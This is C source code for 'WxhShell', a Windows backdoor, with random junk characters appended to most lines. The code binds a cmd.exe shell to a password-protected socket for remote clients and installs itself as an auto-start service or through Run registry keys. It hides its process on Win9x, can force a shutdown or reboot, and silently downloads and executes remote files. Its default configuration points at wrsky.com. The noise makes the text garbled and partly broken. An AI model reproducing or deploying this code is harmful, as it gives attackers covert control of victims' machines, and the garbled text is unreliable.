    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XW9 [VUW~  
    else { y5 bELWA  
    closesocket(wsh); RBM4_L  
    ExitThread(0); Bc2PF;n  
    } [P"R+$"   
    break; Vch!&8xii  
    } k84JDPu#  
  // 关机 -YP>mwSN?  
  case 'd': { 9{V54ue;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t= oTU,<  
    if(Boot(SHUTDOWN)) gEQevy`T%c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cn(0ID+3f  
    else { @ 6{U*vs  
    closesocket(wsh); 80qe5WC.2u  
    ExitThread(0); kVb8$Sp  
    } 4>xv7  
    break; WgQ6EV`  
    } 3RTraF  
  // 获取shell Gm1vVHAxv  
  case 's': { )0NE_AZ?  
    CmdShell(wsh); w/m ~#`a  
    closesocket(wsh); DV!) n 6  
    ExitThread(0); d ;W(Vm6  
    break; 5UHxB"`C  
  } h *-j  
  // 退出 =1Mh %/y  
  case 'x': { $I-i=:}g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jNA^ (|:  
    CloseIt(wsh); d>qxaX;  
    break; |);-{=.OdQ  
    } ^~%z Plv  
  // 离开 Skd,=r  
  case 'q': { y~\K~qjd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q.G6 y,KR  
    closesocket(wsh); u2xb^vu  
    WSACleanup(); L E>A|M$X  
    exit(1); ~ -hH#5  
    break; *qm@;!C  
        } ij=}3;L_!  
  } mME a*9P  
  } .\> I-  
e.IKmH]z  
  // 提示信息 =K2mR}n\;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D*R49hja{  
} tgbr/eCoU  
  } ]h$,=Qf hD  
q"[8u ]j  
  return; Dj9).lgc  
} Zu/}TS9bi  
8?r RLM4  
// shell模块句柄 *0`oFTJ  
int CmdShell(SOCKET sock) ~y(- j[  
{ H]7;O M/g  
STARTUPINFO si; 3yfq*\_uXw  
ZeroMemory(&si,sizeof(si)); a jCx"J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^#4?v^QNh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?#LbhO*   
PROCESS_INFORMATION ProcessInfo; gqRwN p  
char cmdline[]="cmd"; )R2BTE:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vuqm{bo^  
  return 0; /WJ*ro]Hd$  
} OxraaN`  
Bld$<uU  
// 自身启动模式 ~e<v<92Xu  
int StartFromService(void) MMfcY 3#%  
{ V nv9 <=R  
typedef struct eiaL zI,O  
{ {rG`Upp  
  DWORD ExitStatus; [J|)DUjt  
  DWORD PebBaseAddress; JL4\%  
  DWORD AffinityMask; Ppzd.=E  
  DWORD BasePriority; +89s+4Jn  
  ULONG UniqueProcessId; '}{J;moB  
  ULONG InheritedFromUniqueProcessId; N'nqVYTU  
}   PROCESS_BASIC_INFORMATION; -/.Xf<y58  
ji[O?  
PROCNTQSIP NtQueryInformationProcess; _/_1:ivY8  
;$y(Tvd;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lFNf/j^Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; heliL/  
l ^*GqP5  
  HANDLE             hProcess; /IS j0"/$  
  PROCESS_BASIC_INFORMATION pbi; ?N,'1I  
38%xB<Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E Cx_ [|3{  
  if(NULL == hInst ) return 0; < ealt  
K`nI$l7hg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j3bTa|UdT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [9WtoA,kx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _|S>, D'  
_ G!lQ)1  
  if (!NtQueryInformationProcess) return 0; [y73 xF   
.oq!Ys4KA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bqXCe\#  
  if(!hProcess) return 0; AFWcTz6#d  
lGI5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6s833Tmb&r  
7R mL#f`  
  CloseHandle(hProcess); av(d0E}}b  
D@yg)$;z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yWACI aj  
if(hProcess==NULL) return 0; HV`{YuP  
-}m#uUqI  
HMODULE hMod; 4'W|'4'b  
char procName[255]; &t +   
unsigned long cbNeeded; |#x;}_>7  
2B8p3A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %($qg-x  
. F0V  
  CloseHandle(hProcess); _XtLO- D  
n<p`OKIV3  
if(strstr(procName,"services")) return 1; // 以服务启动 :>$)Snqo=n  
z^Nnt  
  return 0; // 注册表启动 :5G3 uN+\  
} xQ62V11R6  
^j?\_r'j  
// 主模块 L!3AiAnr  
int StartWxhshell(LPSTR lpCmdLine) W>Y8 u8  
{ .$DB\jJXjV  
  SOCKET wsl; <R7* 00  
BOOL val=TRUE; `)F lb|da  
  int port=0; eB78z@  
  struct sockaddr_in door; @.gT&Hq  
_F^k>Lq&d  
  if(wscfg.ws_autoins) Install(); _7YAF,@vT  
C|Bk'<MI  
port=atoi(lpCmdLine); zYdSg<[^  
~F*pV*  
if(port<=0) port=wscfg.ws_port; sB_o HUMH6  
!ZbNW4rIP  
  WSADATA data; n37C"qJ/i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]<q{0.  
$V~r*#$.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kx 'ncxN~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &J_|P43  
  door.sin_family = AF_INET; z12[vN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pr\yc  
  door.sin_port = htons(port); kL^;^!Nt  
)#MKOsOct  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lnW/T--  
closesocket(wsl); Dn _D6H  
return 1; UM7Ft"  
} ics  
YWeEvo(,=  
  if(listen(wsl,2) == INVALID_SOCKET) { +~=>72/r  
closesocket(wsl); p 8BAan3  
return 1; FyYQ4ov0&o  
} )1O *~%  
  Wxhshell(wsl); __c:$7B/4U  
  WSACleanup(); -8qLshQ  
9Ps:]Kp!vN  
return 0; ]DdD FLM  
4x=rew>Ew  
} @QtJ/("&WC  
/a6\G.C5  
// 以NT服务方式启动 *}3e'0`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jK\2y|&&c  
{  r_]wa  
DWORD   status = 0; \~Zj](#  
  DWORD   specificError = 0xfffffff; ;C-5R U V  
bslv_OxJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z-uJ+SA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zzuDI_,/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B4R!V!Z*  
  serviceStatus.dwWin32ExitCode     = 0; <\?ySto  
  serviceStatus.dwServiceSpecificExitCode = 0; Wt"@?#L  
  serviceStatus.dwCheckPoint       = 0; n.67f  
  serviceStatus.dwWaitHint       = 0; iwCnW7:  
Es zwg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8[,,Kr)-  
  if (hServiceStatusHandle==0) return; A$A7 F=x  
oo3ZYA  
status = GetLastError(); x2/|i? ZO  
  if (status!=NO_ERROR) LLg ']9  
{ TclZdk]%T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g8mVjM\B;  
    serviceStatus.dwCheckPoint       = 0; [+gX6  
    serviceStatus.dwWaitHint       = 0; >DQl&:-)t  
    serviceStatus.dwWin32ExitCode     = status; 7'j?GzaQ+  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8 +xLi4Pw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WE4:Jy  
    return; {O#=%o[  
  } K8{ j oh  
.%3bXK+F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mT5d[lz  
  serviceStatus.dwCheckPoint       = 0; b ^ ly  
  serviceStatus.dwWaitHint       = 0; J @"wJEF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d7^:z%Eb|  
} W+a>*#*  
 ~MyP4x/  
// 处理NT服务事件,比如:启动、停止 /J3e[?78u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )qD%5} t  
{ 5bv(J  T  
switch(fdwControl) XYWGX;.=  
{ V>@NkQ<|y  
case SERVICE_CONTROL_STOP: aCX](sN  
  serviceStatus.dwWin32ExitCode = 0; {{f%w$r(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LcE!e%3  
  serviceStatus.dwCheckPoint   = 0; q>r9ooN  
  serviceStatus.dwWaitHint     = 0; B c*Rn3i@  
  { j)C%zzBu(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <|Bh;;  
  } O9A.WSJ >}  
  return; }{:H0)H*  
case SERVICE_CONTROL_PAUSE: f&H):.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~y_TT5+ 3  
  break; +uKlg#wqc  
case SERVICE_CONTROL_CONTINUE: xx nW1`]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `f*?|)  
  break; 2y#4rl1Utx  
case SERVICE_CONTROL_INTERROGATE: C#p$YQf  
  break; aT(Pf7 O  
}; 3A4?9>g)KU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f'aUo|^?  
} "2 ma]Ps  
!V Zl<|  
// 标准应用程序主函数 :Py/d6KK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L/<^uO1  
{ {08UBnR  
iF{eGi  
// 获取操作系统版本 9/{+,RpC  
OsIsNt=GetOsVer(); ai`fP{WlX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f<uLbJ6  
g!V;*[  
  // 从命令行安装 2z:4\Y5  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~{*FjZ`h  
engql;  
  // 下载执行文件 eq "a)QB3m  
if(wscfg.ws_downexe) { G#N h)ff  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) . CLiv  
  WinExec(wscfg.ws_filenam,SW_HIDE); w%VHq z$  
} 4B<D.i ;}  
@&S4j]rq  
if(!OsIsNt) { r=s ,Ath  
// 如果时win9x,隐藏进程并且设置为注册表启动 oA"t`,3  
HideProc(); 4NQS'*%D  
StartWxhshell(lpCmdLine); E4HG`_cWb  
} u\ytiGO*  
else _|wgw^.LJ]  
  if(StartFromService()) 37a"<  
  // 以服务方式启动 V(=~p[  
  StartServiceCtrlDispatcher(DispatchTable); N/8qd_:8  
else 2 Nr j@q  
  // 普通方式启动 _w Cp.[3?t  
  StartWxhshell(lpCmdLine); @GBS-iT3  
C "<l}  
return 0; 4.|]R8Mn  
} I`t"Na2i  
0LrTYrlj  
d&(GIH E&d  
G! zV=p  
=========================================== ]H[RY&GY  
e8a_)TU?  
xFHc+m' m~  
P_z3TK  
zW!3>(L/  
3 {\b/NL$  
" z62e4U][  
"7JO~T+v  
#include <stdio.h> S@z$,}Yc`<  
#include <string.h> d\3L.5]X  
#include <windows.h> xQ* U9Wt;T  
#include <winsock2.h> 6;l{9cRgc  
#include <winsvc.h> Jv1.Yz  
#include <urlmon.h> x!{5.#  
YCj"^RC^  
#pragma comment (lib, "Ws2_32.lib") ?2 u_E "  
#pragma comment (lib, "urlmon.lib") Gz+Bk5#{  
d@b"tb}R  
#define MAX_USER   100 // 最大客户端连接数 \Bw9%P~ G  
#define BUF_SOCK   200 // sock buffer %njX'7^u  
#define KEY_BUFF   255 // 输入 buffer uPsn~>(4  
a/NmM)  
#define REBOOT     0   // 重启 u!k\W{  
#define SHUTDOWN   1   // 关机 S3MMyS8  
G{knO?BK  
#define DEF_PORT   5000 // 监听端口 3:PBVt=  
iJZqAfG{m?  
#define REG_LEN     16   // 注册表键长度 ZQD_w#0j  
#define SVC_LEN     80   // NT服务名长度 }wC pr.@  
T3@wNAAU  
// 从dll定义API $`i$/FE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b~Y$!fc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fk5!/>X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R KFz6t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % rRYT8  
m_W\jz??k  
// wxhshell配置信息 ipQJn_:2  
struct WSCFG { wlAlIvIT  
  int ws_port;         // 监听端口 8%_XJyg  
  char ws_passstr[REG_LEN]; // 口令 [kt!\-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9Y&n$svB  
  char ws_regname[REG_LEN]; // 注册表键名 z~L4BY@z  
  char ws_svcname[REG_LEN]; // 服务名 M+gQN}BAr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;'`T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [`Ol&R4k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d8C?m*3 J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !?D PI)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4+:Q"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 );kO2 7dg  
aG%KiJ7KEN  
}; ~x)Awdlu  
QjWv?tm  
// default Wxhshell configuration ' aBX>M  
struct WSCFG wscfg={DEF_PORT, z[M LMf[c  
    "xuhuanlingzhe", .6z#o{n  
    1, U-QK   
    "Wxhshell", O/e5LA  
    "Wxhshell", L Bb&av  
            "WxhShell Service", Cl7IP<.  
    "Wrsky Windows CmdShell Service", NN\% X3ri"  
    "Please Input Your Password: ", Dq)V] Zx  
  1, UAFl+d!  
  "http://www.wrsky.com/wxhshell.exe", vd|PTHV_  
  "Wxhshell.exe" R61.!ql%w  
    }; ctTg-J2.  
u_dTJ, m  
// 消息定义模块 <*V%!pwIG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; izebQVQO*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ` Xhj7%>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %Nwap~=H;  
char *msg_ws_ext="\n\rExit."; ax[-907  
char *msg_ws_end="\n\rQuit."; D?44:'x+-  
char *msg_ws_boot="\n\rReboot..."; SpdQ<]  
char *msg_ws_poff="\n\rShutdown..."; EFW'D=&h8  
char *msg_ws_down="\n\rSave to "; <ap%+(!I  
i~@e}=  
char *msg_ws_err="\n\rErr!"; y1p^ &9 U  
char *msg_ws_ok="\n\rOK!"; "diF$Lj  
`J|bGf#  
char ExeFile[MAX_PATH]; |#D3~au   
int nUser = 0; Dkay k  
HANDLE handles[MAX_USER]; VE+Q Y9(  
int OsIsNt; :XxsDD  
BKPXXR  
SERVICE_STATUS       serviceStatus; +7U$qEG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yz us=  
?[hIv6c  
// 函数声明 +;c)GNQ)6:  
int Install(void); a}|B[b  
int Uninstall(void); .}&bE1  
int DownloadFile(char *sURL, SOCKET wsh); 'H`aQt+  
int Boot(int flag); ]OL O~2j  
void HideProc(void); y))d[ 1E  
int GetOsVer(void); !o+#T==p  
int Wxhshell(SOCKET wsl); %"r3{Hs  
void TalkWithClient(void *cs); (TM1(<j  
int CmdShell(SOCKET sock);  )o`|t  
int StartFromService(void); &|'1.^f@;E  
int StartWxhshell(LPSTR lpCmdLine); #K.OJJaG  
wS-D"\4/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )s5Q4m!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m Y*JNx  
_<yGen-  
// 数据结构和表定义 tV%:sk^d  
SERVICE_TABLE_ENTRY DispatchTable[] = wb~#=6Y  
{ }xcA`w3u2?  
{wscfg.ws_svcname, NTServiceMain}, yw `w6Z3K  
{NULL, NULL} X`/8fag  
}; w6zB uW  
wwE`YY  
// 自我安装 ~ OD}`  
int Install(void) 5tdFd"oo  
{ 3jZPv;9OC  
  char svExeFile[MAX_PATH]; Cp`)*P2  
  HKEY key; &<2~7?$!  
  strcpy(svExeFile,ExeFile); )D\!#<#h  
X31[  
// 如果是win9x系统,修改注册表设为自启动 |=fa`8m G  
if(!OsIsNt) { 8fRk8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rJH u~/_Dq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u&z5)iU  
  RegCloseKey(key); 3B8\r}L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s_S[iW`l=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vr@I9W;D#  
  RegCloseKey(key); piIj t  
  return 0; VRQ'sn@  
    } :c[iS~ ~Y  
  } w/BaaF.0  
} _^]2??V  
else { F6J,:  
[vh&o-6  
// 如果是NT以上系统,安装为系统服务 c}v>Mx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZFpi'u.&  
if (schSCManager!=0) MKzIY:u g  
{ O W`yv  
  SC_HANDLE schService = CreateService M6 l S2  
  ( qIIc>By(\"  
  schSCManager, g\^7Q  
  wscfg.ws_svcname, "i0{E!,XL  
  wscfg.ws_svcdisp, , 7-@eZ  
  SERVICE_ALL_ACCESS, MWTzJGRT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BQ! v\1'C  
  SERVICE_AUTO_START, P7np -I*  
  SERVICE_ERROR_NORMAL, DdDwMq  
  svExeFile, @c,Qj$\1  
  NULL, fGS5{dti  
  NULL, p?F%a;V3  
  NULL, 5q4sxY9T  
  NULL, WX<),u2@  
  NULL +)YU/41W  
  ); tk=~b} 8  
  if (schService!=0) Af y\:&j  
  { 'b(V8x  
  CloseServiceHandle(schService); 4UP#~  
  CloseServiceHandle(schSCManager); 6?\X)qBI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h[H FZv~{  
  strcat(svExeFile,wscfg.ws_svcname); ?=$=c8xw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (jhDO7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j0P+<@y  
  RegCloseKey(key); (#,0\ea{x  
  return 0; Y,0D+sO4  
    } K@d,8[  
  } %Y!31oC#  
  CloseServiceHandle(schSCManager); |hGi8  
} kD1[6cJ!=.  
} +9Vp<(  
)~@iM.}S2  
return 1; L WwWxerZ  
} X|]&K  
P(h[QAM  
// 自我卸载 ^}Vx5[  
int Uninstall(void) VaKBS/y"  
{ X'[93 C|K  
  HKEY key; sX_6qKUH  
a(cZ]`s]*  
if(!OsIsNt) { h|m>JDxn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w K)/m`{g  
  RegDeleteValue(key,wscfg.ws_regname); o m9zb&{tu  
  RegCloseKey(key); Ib V 7}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oY Y?`<N#  
  RegDeleteValue(key,wscfg.ws_regname); e:2e5gz  
  RegCloseKey(key); 3hUU$|^4gm  
  return 0; .zDm{_'  
  } )S~ySiJ<U  
} ? }t[  
} {Ee[rAVGp  
else { D X|yL!4[  
d^-sxl3}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q--Hf$D]H  
if (schSCManager!=0) F,F1Axf  
{ U`*L`PM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v fnVN@ 5  
  if (schService!=0) ..u2IdEu  
  { gFBMARxi  
  if(DeleteService(schService)!=0) { )o51QgPy  
  CloseServiceHandle(schService); #21t8  
  CloseServiceHandle(schSCManager); Dx:2/"v  
  return 0; N5]}m:"pk  
  } 'UW]~  
  CloseServiceHandle(schService); JY6&CL`C  
  } *(c><N  
  CloseServiceHandle(schSCManager); DMeP9D  
} ^j-w^)@T  
} ?|}%A9   
ik:fq&=  
return 1; Fqr}zR)  
} Ic!8$NhRS  
L"Vi:zdp  
// 从指定url下载文件 T1Gy_ G/  
int DownloadFile(char *sURL, SOCKET wsh) ;Nfd  
{ ;giW  
  HRESULT hr; e/S^Rx4W  
char seps[]= "/"; I{rW+<)QGC  
char *token; ^TWMYF-  
char *file; 85fv])\y  
char myURL[MAX_PATH]; E 0k1yA  
char myFILE[MAX_PATH]; WJXQM[  
;`p!/9il  
strcpy(myURL,sURL); %+A z X  
  token=strtok(myURL,seps); Lc0yLm  
  while(token!=NULL) <Oyxzs  
  { a d,0*(</  
    file=token; iD/r8_}  
  token=strtok(NULL,seps); wfE%` 1  
  } Z{#;my*X|  
PR{y84$  
GetCurrentDirectory(MAX_PATH,myFILE); 3jaY\(`%h  
strcat(myFILE, "\\"); =5 zx]N1r  
strcat(myFILE, file); 6X1_NbC  
  send(wsh,myFILE,strlen(myFILE),0); ,sn/FT^; q  
send(wsh,"...",3,0); @-g'BvS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k-~HUC.A.  
  if(hr==S_OK) |izf|*e  
return 0; zc,kHO|  
else  oJ<Wh @  
return 1; fD>0  
UN,y /V  
} Y$L>tFA  
@1p ,  
// 系统电源模块 71$MhPvd<  
int Boot(int flag) i*q!|^M  
{ Vv]81y15Q;  
  HANDLE hToken; q%^vx%aL\  
  TOKEN_PRIVILEGES tkp; W;^bc*a_  
QqS?-   
  if(OsIsNt) { s3., N|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lMcSe8LBQa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Eu&%`  
    tkp.PrivilegeCount = 1; m{ya%F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gkfc@[Z V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .W9/*cZV0  
if(flag==REBOOT) { cdH Ug#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~w>Z !RuhT  
  return 0; ]0g%)fuMf  
} l:Y$A$W]>  
else { [;]@PKW?w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JN{xh0*  
  return 0; _tGR:E  
} e1k\:]6  
  } $S|2'jc  
  else { aD5G0d?u  
if(flag==REBOOT) { X?F$jX|c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uy,ySBY  
  return 0; _z3Hl?qk=  
} 5xEk 7g.  
else { iN}BMd.U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TF@HwF"#  
  return 0; wq( m%F  
} 0H V-e  
} &M,"%w!  
yL&_>cV  
return 1; u D.E>.B  
} kS>'6xXH  
B1&H5gxgN  
// win9x进程隐藏模块 [SW@"C!  
void HideProc(void) h)M9Oup`  
{ Kk^tQwj/QE  
iZ`1Dzxgk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); us.+nnd  
  if ( hKernel != NULL ) |sw&sfH[FD  
  { biFN]D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GM/3*S$c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UeRx ^  
    FreeLibrary(hKernel); Xcq 9*!%o  
  } kUJ\AK  
GQ-o wH]  
return; dwc$?Bg,5  
} YLlw:jN  
vWJhSpC[  
// 获取操作系统版本 5T[9|zJs  
int GetOsVer(void) ==psPyLF@  
{ ))n7.pB9/  
  OSVERSIONINFO winfo; o(W|BD!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @"~Mglgw  
  GetVersionEx(&winfo); %qzpt{'?<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u+]v. Mt  
  return 1; mf26AIlkQ  
  else 5k`[a93T  
  return 0; F_SkS?dB  
} !Xwp;P=  
@"}dbW<DV  
// 客户端句柄模块 ksxacRA7\  
int Wxhshell(SOCKET wsl) `p&ko$i2  
{ Ne]/ sQ0  
  SOCKET wsh; ; y#6Nx,:  
  struct sockaddr_in client; -=E/_c;  
  DWORD myID; yG0Wr=/<?  
K/~+bq# +  
  while(nUser<MAX_USER) Zq|oj^  
{ yaf&SR@7k{  
  int nSize=sizeof(client); u.gh04{5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *JG?^G"l  
  if(wsh==INVALID_SOCKET) return 1; 6e@ O88=  
^g,[#Rh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cU25]V^{\  
if(handles[nUser]==0) r\Wp\LfY&{  
  closesocket(wsh); j$*]'s&_hZ  
else XM/P2=;  
  nUser++; +a&-'`7g  
  } ;G.m;5A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `07u}]d8  
fB5Bh;K  
  return 0; /Q"nQSG  
} M* W=v  
o'Q)V  
// 关闭 socket ^zGgvFf>  
void CloseIt(SOCKET wsh) W%09.bF  
{ ]lF'o&v]  
closesocket(wsh); "F+ 9xf&r  
nUser--; Jkt L|u:k  
ExitThread(0); xPh%?j?*v  
} +G&h  
E{r_CR+8  
// 客户端请求句柄 `n:IXD5'  
void TalkWithClient(void *cs) [;VNuF  
{ _Z6/r^c  
r0kA47  
  SOCKET wsh=(SOCKET)cs; J+&AtGq]u  
  char pwd[SVC_LEN]; J p .wg  
  char cmd[KEY_BUFF]; CF^7 {g(y_  
char chr[1]; -8tWc]c |4  
int i,j; l)z15e5X  
Q8M&nf  
  while (nUser < MAX_USER) { nJ4h9`[>V  
4j!MjlG$  
if(wscfg.ws_passstr) { .i/]1X*;r^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (0W%Y Z!&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,"PwNv  
  //ZeroMemory(pwd,KEY_BUFF); iQ-;0<=G  
      i=0; n?pCMS|  
  while(i<SVC_LEN) { wC BL1[~C  
UTUIL D  
  // 设置超时 }se)=7d8 Z  
  fd_set FdRead; #hd<5+$U}l  
  struct timeval TimeOut; UhY )rezh  
  FD_ZERO(&FdRead); d\, 4Wet;#  
  FD_SET(wsh,&FdRead); UL[4sv6\9  
  TimeOut.tv_sec=8; ~`hI|i<]  
  TimeOut.tv_usec=0; R*TCoEKO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =rgWO n8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #'<I!G  
h^>kjMM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -p ) l63  
  pwd=chr[0]; O6OP{sb  
  if(chr[0]==0xd || chr[0]==0xa) { 9Pd~  
  pwd=0; a-Cp"pKlVY  
  break; PZpwi?N  
  } ~>D;2 S(a  
  i++; OP2!lEs  
    } da!N0\.1T  
5DyN=[b  
  // 如果是非法用户,关闭 socket *^c4q|G.-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @D"#B@j  
} h1K 3A5  
^i-%FY_i5}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2k"a%#H8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -5v c0"?E  
A i9*w?C  
while(1) { NfR,m ]  
*&UVr  
  ZeroMemory(cmd,KEY_BUFF); =JO|m5z8>  
M=o,Sav5*  
      // 自动支持客户端 telnet标准   um#;S;  
  j=0; lbg6n:@  
  while(j<KEY_BUFF) { h#]}J}si  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6{lWUr  
  cmd[j]=chr[0]; D{'Na5(  
  if(chr[0]==0xa || chr[0]==0xd) { z8Dn<h  
  cmd[j]=0; &%qD Som3  
  break; #4na>G|  
  } q3NS?t!  
  j++; Y[s  
    } XN=<s;U  
 h *%T2  
  // 下载文件 xA!o"VZPq7  
  if(strstr(cmd,"http://")) { :jp?FF^j;  
